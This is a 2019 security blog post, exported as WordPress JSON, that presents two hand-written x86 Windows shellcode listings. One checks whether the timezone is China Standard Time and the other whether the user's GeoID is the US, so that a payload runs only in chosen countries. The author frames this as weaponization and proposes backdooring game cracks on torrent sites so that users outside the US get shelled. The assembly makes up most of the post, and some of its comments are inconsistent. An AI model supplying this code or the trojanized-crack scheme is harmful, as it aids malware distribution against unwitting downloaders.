{"id":1608,"date":"2019-07-01T01:14:51","date_gmt":"2019-07-01T01:14:51","guid":{"rendered":"http:\/\/www.gironsec.com\/blog\/?p=1608"},"modified":"2019-07-01T01:14:51","modified_gmt":"2019-07-01T01:14:51","slug":"a-shellcode-idea","status":"publish","type":"post","link":"https:\/\/www.gironsec.com\/blog\/2019\/07\/a-shellcode-idea\/","title":{"rendered":"A Shellcode Idea"},"content":{"rendered":"

Maybe we’re all a little black hat at times – you have to bend the rules to get things done sometimes.
I thought of a couple kinds of shellcode – basically checking to see if the user is in a particular country or timezone.
The concept of weaponizing shellcode is nothing new. This is just more fuel for the fire.<\/p>\n

Since whenever I think of something, code doesn’t exist, it is once again up to Joe to make the code exist.<\/p>\n

The following is for x86 Windows. No nulls either!<\/p>\n

<\/p>\n

\n
      .486<\/span>\n      .model<\/span> flat<\/span>, stdcall<\/span>\n      option<\/span> casemap<\/span> :none<\/span>\n      ASSUME<\/span> FS<\/span>:NOTHING<\/span>\n      .code<\/span>\nstart:<\/span>\n        \n        push<\/span> ebx<\/span>\n        push<\/span> ecx<\/span>\n        push<\/span> edx<\/span>\n        push<\/span> esi<\/span>\n        push<\/span> edi<\/span>\n\t\txor<\/span> eax<\/span>,eax<\/span>\n\n\t; Establish a new stack frame<\/span>\n\tpush<\/span> ebp<\/span>\n\tmov<\/span> ebp<\/span>, esp<\/span>\n\tmov<\/span> ax<\/span>,2224<\/span>\n\t\n\tsub<\/span> esp<\/span>, eax<\/span> \t\t\t; Allocate memory on stack for local variables<\/span>\n\txor<\/span> eax<\/span>,eax<\/span>\n\tpush<\/span> eax<\/span> \n\t; push the function name on the stack<\/span>\n\txor<\/span> esi<\/span>, esi<\/span>\n\tpush<\/span> esi<\/span>\t\t\t; null termination<\/span>\n\tpush<\/span> 6e6f6974h<\/span>\n\tpush<\/span> 616d726fh<\/span>\n\tpush<\/span> 666e4965h<\/span>\n\tpush<\/span> 6E6F5a65h<\/span>\n\tpush<\/span> 6d695474h<\/span>\n\tpushw<\/span> 6547h<\/span>; var4 = \"GetTimeZoneInformation\\x00\"<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>4<\/span>], esp<\/span> \t\t\n\tpush<\/span> ax<\/span> ; push 2 bytes to stack to maintain 4 byte alignment <\/span>\n\t; Find kernel32.dll base address<\/span>\n\t;xor esi, esi\t\t\t; esi is already 0, no need to xor<\/span>\n    mov<\/span> ebx<\/span>, dword<\/span> ptr<\/span> fs<\/span>:[30h<\/span> +<\/span> esi<\/span>]  \t; written this way to avoid null bytes<\/span>\n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 12<\/span>] \n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 20<\/span>] \n\tmov<\/span> ebx<\/span>, [ebx<\/span>]\t\n\tmov<\/span> ebx<\/span>, [ebx<\/span>]\t\n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 16<\/span>]\t\t; ebx holds kernel32.dll base address<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>8<\/span>], ebx<\/span> \t\t; var8 = kernel32.dll base address<\/span>\n\n\t; Find WinExec address<\/span>\n\tmov<\/span> eax<\/span>, [ebx<\/span> +<\/span> 3Ch<\/span>]\t\t; RVA of PE signature<\/span>\n\tadd<\/span> eax<\/span>, ebx<\/span>       \t\t; Address of PE signature = base address + RVA of PE signature<\/span>\n\tmov<\/span> eax<\/span>, [eax<\/span> +<\/span> 78h<\/span>]\t\t; RVA of Export Table<\/span>\n\tadd<\/span> eax<\/span>, ebx<\/span> \t\t\t; Address of Export Table<\/span>\n\n\tmov<\/span> ecx<\/span>, [eax<\/span> +<\/span> 24h<\/span>]\t\t; RVA of Ordinal Table<\/span>\n\tadd<\/span> ecx<\/span>, ebx<\/span> \t\t\t; Address of Ordinal Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>0Ch<\/span>], ecx<\/span> \t\t; var12 = Address of Ordinal Table<\/span>\n\n\tmov<\/span> edi<\/span>, [eax<\/span> +<\/span> 20h<\/span>] \t\t; RVA of Name Pointer Table<\/span>\n\tadd<\/span> edi<\/span>, ebx<\/span> \t\t\t; Address of Name Pointer Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>10h<\/span>], edi<\/span> \t\t; var16 = Address of Name Pointer Table<\/span>\n\n\tmov<\/span> edx<\/span>, [eax<\/span> +<\/span> 1Ch<\/span>] \t\t; RVA of Address Table<\/span>\n\tadd<\/span> edx<\/span>, ebx<\/span> \t\t\t; Address of Address Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>14h<\/span>], edx<\/span> \t\t; var20 = Address of Address Table<\/span>\n\n\tmov<\/span> edx<\/span>, [eax<\/span> +<\/span> 14h<\/span>] \t\t; Number of exported functions<\/span>\n\n\txor<\/span> eax<\/span>, eax<\/span> \t\t\t; counter = 0<\/span>\n\n\tmyloop:<\/span>\n\t        mov<\/span> edi<\/span>, [ebp<\/span>-<\/span>10h<\/span>] \t; edi = var16 = Address of Name Pointer Table<\/span>\n\t        mov<\/span> esi<\/span>, [ebp<\/span>-<\/span>4<\/span>] \t; esi = var4 = \"GetTimeZoneInformation\\x00\"<\/span>\n\t        xor<\/span> ecx<\/span>, ecx<\/span>\n\n\t        cld<\/span>  \t\t\t; set DF=0 => process strings from left to right<\/span>\n\t        mov<\/span> edi<\/span>, [edi<\/span> +<\/span> eax<\/span>*<\/span>4<\/span>]\t; Entries in Name Pointer Table are 4 bytes long<\/span>\n\t        \t\t\t; edi = RVA Nth entry = Address of Name Table * 4<\/span>\n\t        add<\/span> edi<\/span>, ebx<\/span>       \t; edi = address of string = base address + RVA Nth entry<\/span>\n\t        add<\/span> cx<\/span>, 23<\/span> \t\t; Length of strings to compare (len('GetTimeZoneInformation') = 23)<\/span>\n\t        repe<\/span> cmpsb<\/span>        \t; Compare the first 8 bytes of strings in <\/span>\n\t        \t\t\t; esi and edi registers. ZF=1 if equal, ZF=0 if not<\/span>\n\t        jz<\/span> found<\/span>\n\n\t        inc<\/span> eax<\/span> \t\t; counter++<\/span>\n\t        cmp<\/span> eax<\/span>, edx<\/span>    \t; check if last function is reached<\/span>\n\t        jb<\/span> myloop<\/span> \t\t; if not the last -> loop<\/span>\n\n\t        mov<\/span> ax<\/span>,2224<\/span>\n\t\t\tadd<\/span> esp<\/span>, eax<\/span>\t\t; clear the stack      \t\t<\/span>\n\t        ret<\/span> \t\t; if function is not found, return<\/span>\n\n\tfound:<\/span>\n\t\t; the counter (eax) now holds the position of WinExec<\/span>\n\n\t        mov<\/span> ecx<\/span>, [ebp<\/span>-<\/span>0Ch<\/span>]\t; ecx = var12 = Address of Ordinal Table<\/span>\n\t        mov<\/span> edx<\/span>, [ebp<\/span>-<\/span>14h<\/span>]  \t; edx = var20 = Address of Address Table<\/span>\n\n\t        mov<\/span> ax<\/span>, [ecx<\/span> +<\/span> eax<\/span>*<\/span>2<\/span>] \t; ax = ordinal number = var12 + (counter * 2)<\/span>\n\t        mov<\/span> eax<\/span>, [edx<\/span> +<\/span> eax<\/span>*<\/span>4<\/span>] \t; eax = RVA of function = var20 + (ordinal * 4)<\/span>\n\t        add<\/span> eax<\/span>, ebx<\/span> \t\t; eax = address of func = <\/span>\n\t        \t\t\t; = kernel32.dll base address + RVA of func<\/span>\n\n\t        xor<\/span> edx<\/span>, edx<\/span>\n\t\tlea<\/span> esi<\/span>,dword<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>172<\/span>] ;0xAC or 172 decimal is the size of the timezone structure <\/span>\n\t\tpush<\/span> esi<\/span>\n\t\tcall<\/span> eax<\/span> \t\t; GetTimeZoneInformation <\/span>\n\t\tlea<\/span> esi<\/span>,dword<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>168<\/span>]; A8 is the tz.StandardName<\/span>\n\t\n\t\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>40<\/span>],43h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>38<\/span>],68h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>36<\/span>],69h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>34<\/span>],6Eh<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>32<\/span>],61h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>30<\/span>],20h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>28<\/span>],53h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>26<\/span>],74h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>24<\/span>],61h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>22<\/span>],6Eh<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>20<\/span>],64h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>18<\/span>],61h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>16<\/span>],72h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>14<\/span>],64h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>12<\/span>],20h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>10<\/span>],54h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>8<\/span>],69h<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>6<\/span>],6Dh<\/span>\nmov<\/span> byte<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>4<\/span>],65h<\/span>\nxor<\/span> eax<\/span>,eax<\/span>                       \nmov<\/span> dword<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>2<\/span>],eax<\/span>\n;no nulls now!<\/span>\n\t;lea eax,[ebp-40] ; 28h is the stored string we made<\/span>\n\t;invoke MessageBoxW,0,eax,eax,0<\/span>\n\nlea<\/span> ecx<\/span>,dword<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>168<\/span>]\nlea<\/span> ebx<\/span>,dword<\/span> ptr<\/span> ss<\/span>:[ebp<\/span>-<\/span>40<\/span>]\nwehaveawinner:<\/span>\nmov<\/span> ax<\/span>,word<\/span> ptr<\/span> ss<\/span>:[ecx<\/span>]\ncmp<\/span> ax<\/span>,word<\/span> ptr<\/span> ss<\/span>:[ebx<\/span>]\njne<\/span> nomatch<\/span>\nadd<\/span> ecx<\/span>,2<\/span>\nadd<\/span> ebx<\/span>,2<\/span>\ntest<\/span> ax<\/span>,ax<\/span>\njne<\/span> wehaveawinner<\/span>\npush<\/span> ebx<\/span>\nret<\/span> \nnomatch:<\/span>\n\t\tmov<\/span> ax<\/span>,2224<\/span>\n\t\tadd<\/span> esp<\/span>, eax<\/span>\t\t; clear the stack<\/span>\n\t\tpop<\/span> ebp<\/span> \t\t; restore all registers and exit<\/span>\n\t\tpop<\/span> edi<\/span>\n\t\tpop<\/span> esi<\/span>\n\t\tpop<\/span> edx<\/span>\n\t\tpop<\/span> ecx<\/span>\n\t\tpop<\/span> ebx<\/span>\n\t\tpop<\/span> eax<\/span>\n\t\tpop<\/span> esp<\/span>\n\t\tret<\/span>\n\nend<\/span> start<\/span>\n<\/pre>\n<\/div>\n
\"\"<\/a> Fits snugly in there.<\/p>\n
If you were really evil, you could backdoor torrent files with this code so it only runs in certain countries. Say you backdoor the program to only work outside of the US of A, then distribute it on torrent sites as a crack for some game, piggybacking on some other crack? Everyone in the States has no problem. Everywhere else? Shell city!<\/p>\n
<\/p>\n
I talked about just that here.<\/a><\/p>\n
<\/p>\n
This next one checks the GeoID. Again, no shellcode exists on MSF, so we roll our own.<\/p>\n
<\/p>\n
\n
      .486<\/span>\n      .model<\/span> flat<\/span>, stdcall<\/span>\n      option<\/span> casemap<\/span> :none<\/span>\n      ASSUME<\/span> FS<\/span>:NOTHING<\/span>\n      .code<\/span>\nstart:<\/span>\n        push<\/span> eax<\/span> ; Save all registers<\/span>\n        push<\/span> ebx<\/span>\n        push<\/span> ecx<\/span>\n        push<\/span> edx<\/span>\n        push<\/span> esi<\/span>\n        push<\/span> edi<\/span>\n        push<\/span> ebp<\/span>\n\n\t; Establish a new stack frame<\/span>\n\tpush<\/span> ebp<\/span>\n\tmov<\/span> ebp<\/span>, esp<\/span>\n\n\tsub<\/span> esp<\/span>, 79h<\/span> \t\t\t; Allocate memory on stack for local variables<\/span>\n\n\t; push the function name on the stack<\/span>\n\txor<\/span> esi<\/span>, esi<\/span>\n\tpush<\/span> esi<\/span>\t\t\t; null termination<\/span>\n\tpushw<\/span> 4449h<\/span>\n\tpushw<\/span> 6f65h<\/span>\n\tpush<\/span> 47726573h<\/span>\n\tpush<\/span> 55746547h<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>4<\/span>], esp<\/span> \t\t; swapped to GetUserGeoID<\/span>\n\n\t; Find kernel32.dll base address<\/span>\n\txor<\/span> esi<\/span>, esi<\/span>\t\t\t; esi = 0<\/span>\n    mov<\/span> ebx<\/span>, dword<\/span> ptr<\/span> fs<\/span>:[30h<\/span> +<\/span> esi<\/span>]  \t; written this way to avoid null bytes<\/span>\n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 12<\/span>] \n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 20<\/span>] \n\tmov<\/span> ebx<\/span>, [ebx<\/span>]\t\n\tmov<\/span> ebx<\/span>, [ebx<\/span>]\t\n\tmov<\/span> ebx<\/span>, [ebx<\/span> +<\/span> 16<\/span>]\t\t; ebx holds kernel32.dll base address<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>8<\/span>], ebx<\/span> \t\t; var8 = kernel32.dll base address<\/span>\n\n\t; Find WinExec address<\/span>\n\tmov<\/span> eax<\/span>, [ebx<\/span> +<\/span> 3Ch<\/span>]\t\t; RVA of PE signature<\/span>\n\tadd<\/span> eax<\/span>, ebx<\/span>       \t\t; Address of PE signature = base address + RVA of PE signature<\/span>\n\tmov<\/span> eax<\/span>, [eax<\/span> +<\/span> 78h<\/span>]\t\t; RVA of Export Table<\/span>\n\tadd<\/span> eax<\/span>, ebx<\/span> \t\t\t; Address of Export Table<\/span>\n\n\tmov<\/span> ecx<\/span>, [eax<\/span> +<\/span> 24h<\/span>]\t\t; RVA of Ordinal Table<\/span>\n\tadd<\/span> ecx<\/span>, ebx<\/span> \t\t\t; Address of Ordinal Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>0Ch<\/span>], ecx<\/span> \t\t; var12 = Address of Ordinal Table<\/span>\n\n\tmov<\/span> edi<\/span>, [eax<\/span> +<\/span> 20h<\/span>] \t\t; RVA of Name Pointer Table<\/span>\n\tadd<\/span> edi<\/span>, ebx<\/span> \t\t\t; Address of Name Pointer Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>10h<\/span>], edi<\/span> \t\t; var16 = Address of Name Pointer Table<\/span>\n\n\tmov<\/span> edx<\/span>, [eax<\/span> +<\/span> 1Ch<\/span>] \t\t; RVA of Address Table<\/span>\n\tadd<\/span> edx<\/span>, ebx<\/span> \t\t\t; Address of Address Table<\/span>\n\tmov<\/span> [ebp<\/span>-<\/span>14h<\/span>], edx<\/span> \t\t; var20 = Address of Address Table<\/span>\n\n\tmov<\/span> edx<\/span>, [eax<\/span> +<\/span> 14h<\/span>] \t\t; Number of exported functions<\/span>\n\n\txor<\/span> eax<\/span>, eax<\/span> \t\t\t; counter = 0<\/span>\n\n\tmyloop:<\/span>\n\t        mov<\/span> edi<\/span>, [ebp<\/span>-<\/span>10h<\/span>] \t; edi = var16 = Address of Name Pointer Table<\/span>\n\t        mov<\/span> esi<\/span>, [ebp<\/span>-<\/span>4<\/span>] \t; esi = var4 = \"GetUserGeoID\\x00\"<\/span>\n\t        xor<\/span> ecx<\/span>, ecx<\/span>\n\n\t        cld<\/span>  \t\t\t; set DF=0 => process strings from left to right<\/span>\n\t        mov<\/span> edi<\/span>, [edi<\/span> +<\/span> eax<\/span>*<\/span>4<\/span>]\t; Entries in Name Pointer Table are 4 bytes long<\/span>\n\t        \t\t\t; edi = RVA Nth entry = Address of Name Table * 4<\/span>\n\t        add<\/span> edi<\/span>, ebx<\/span>       \t; edi = address of string = base address + RVA Nth entry<\/span>\n\t        add<\/span> cx<\/span>, 13<\/span> \t\t; Length of strings to compare (len('GetUserGeoID') = 23)<\/span>\n\t        repe<\/span> cmpsb<\/span>        \t; Compare the first 8 bytes of strings in <\/span>\n\t        \t\t\t; esi and edi registers. ZF=1 if equal, ZF=0 if not<\/span>\n\t        jz<\/span> found<\/span>\n\n\t        inc<\/span> eax<\/span> \t\t; counter++<\/span>\n\t        cmp<\/span> eax<\/span>, edx<\/span>    \t; check if last function is reached<\/span>\n\t        jb<\/span> myloop<\/span> \t\t; if not the last -> loop<\/span>\n\n\t        add<\/span> esp<\/span>, 26h<\/span>      \t\t\n\t        jmp<\/span> myend<\/span> \t\t; if function is not found, jump to end<\/span>\n\n\tfound:<\/span>\n\t\t; the counter (eax) now holds the position of WinExec<\/span>\n\n\t        mov<\/span> ecx<\/span>, [ebp<\/span>-<\/span>0Ch<\/span>]\t; ecx = var12 = Address of Ordinal Table<\/span>\n\t        mov<\/span> edx<\/span>, [ebp<\/span>-<\/span>14h<\/span>]  \t; edx = var20 = Address of Address Table<\/span>\n\n\t        mov<\/span> ax<\/span>, [ecx<\/span> +<\/span> eax<\/span>*<\/span>2<\/span>] \t; ax = ordinal number = var12 + (counter * 2)<\/span>\n\t        mov<\/span> eax<\/span>, [edx<\/span> +<\/span> eax<\/span>*<\/span>4<\/span>] \t; eax = RVA of function = var20 + (ordinal * 4)<\/span>\n\t        add<\/span> eax<\/span>, ebx<\/span> \t; eax = address of GetUserGeoID = <\/span>\n\t        \t\t; = kernel32.dll base address + RVA of <\/span>GetUserGeoID\n\n\t        xor<\/span> edx<\/span>, edx<\/span>\n\t\t\n\t\tpush<\/span> 10h<\/span>  \t\t; only needs 1 param<\/span>\n\t\tcall<\/span> eax<\/span> \t\t; GetUserGeoID<\/span>\n\t\tcmp<\/span> al<\/span>,244<\/span>\t\t; america, fuck yeah!<\/span>\n\t\tje<\/span> notfound<\/span>\n\t\tdb<\/span> 235<\/span>\t\t\t; EB FE<\/span>\n\t\tdb<\/span> 254<\/span>\n\t\tnotfound:<\/span>\n\t\t\n\t\tadd<\/span> esp<\/span>, 79h<\/span>;46h\t\t; clear the stack<\/span>\n\n\tmyend:<\/span>\n\t\t\n\t\tpop<\/span> ebp<\/span> \t\t; restore all registers and exit<\/span>\n\t\tpop<\/span> edi<\/span>\n\t\tpop<\/span> esi<\/span>\n\t\tpop<\/span> edx<\/span>\n\t\tpop<\/span> ecx<\/span>\n\t\tpop<\/span> ebx<\/span>\n\t\tpop<\/span> eax<\/span>\n\t\tpop<\/span> esp<\/span>\n\t\tret<\/span>\n\nend<\/span> start<\/span>\n<\/pre>\n<\/div>\n\n\n
As you can see, if I can figure it out, anyone can.<\/p>\n\n\n\n
\"\"<\/figure>\n\n\n\n
This was a quick and easy writeup. I have more crap to cover still – stuff like rolling my own shellcode encryption, running your own (evil) DNS server, playing with race conditions on windows and perhaps weaponizing \/ making use of the aforementioned shellcode for more hilarious (or evil?) purposes. More to come soon.<\/p>\n\n\n\n
Stay tuned!<\/p>\n\n\n\n
\"\"<\/figure>\n","protected":false},"excerpt":{"rendered":"
Maybe we’re all a little black hat at times – you have to bend the rules to get things done sometimes.I thought of a couple kinds of shellcode – basically checking to see if the user is in a particular country or timezone.The concept of weaponizing shellcode is nothing new. This is just more fuel […]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[4,6],"tags":[119],"_links":{"self":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608"}],"collection":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/comments?post=1608"}],"version-history":[{"count":3,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608\/revisions"}],"predecessor-version":[{"id":1639,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/posts\/1608\/revisions\/1639"}],"wp:attachment":[{"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/media?parent=1608"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/categories?post=1608"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.gironsec.com\/blog\/wp-json\/wp\/v2\/tags?post=1608"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}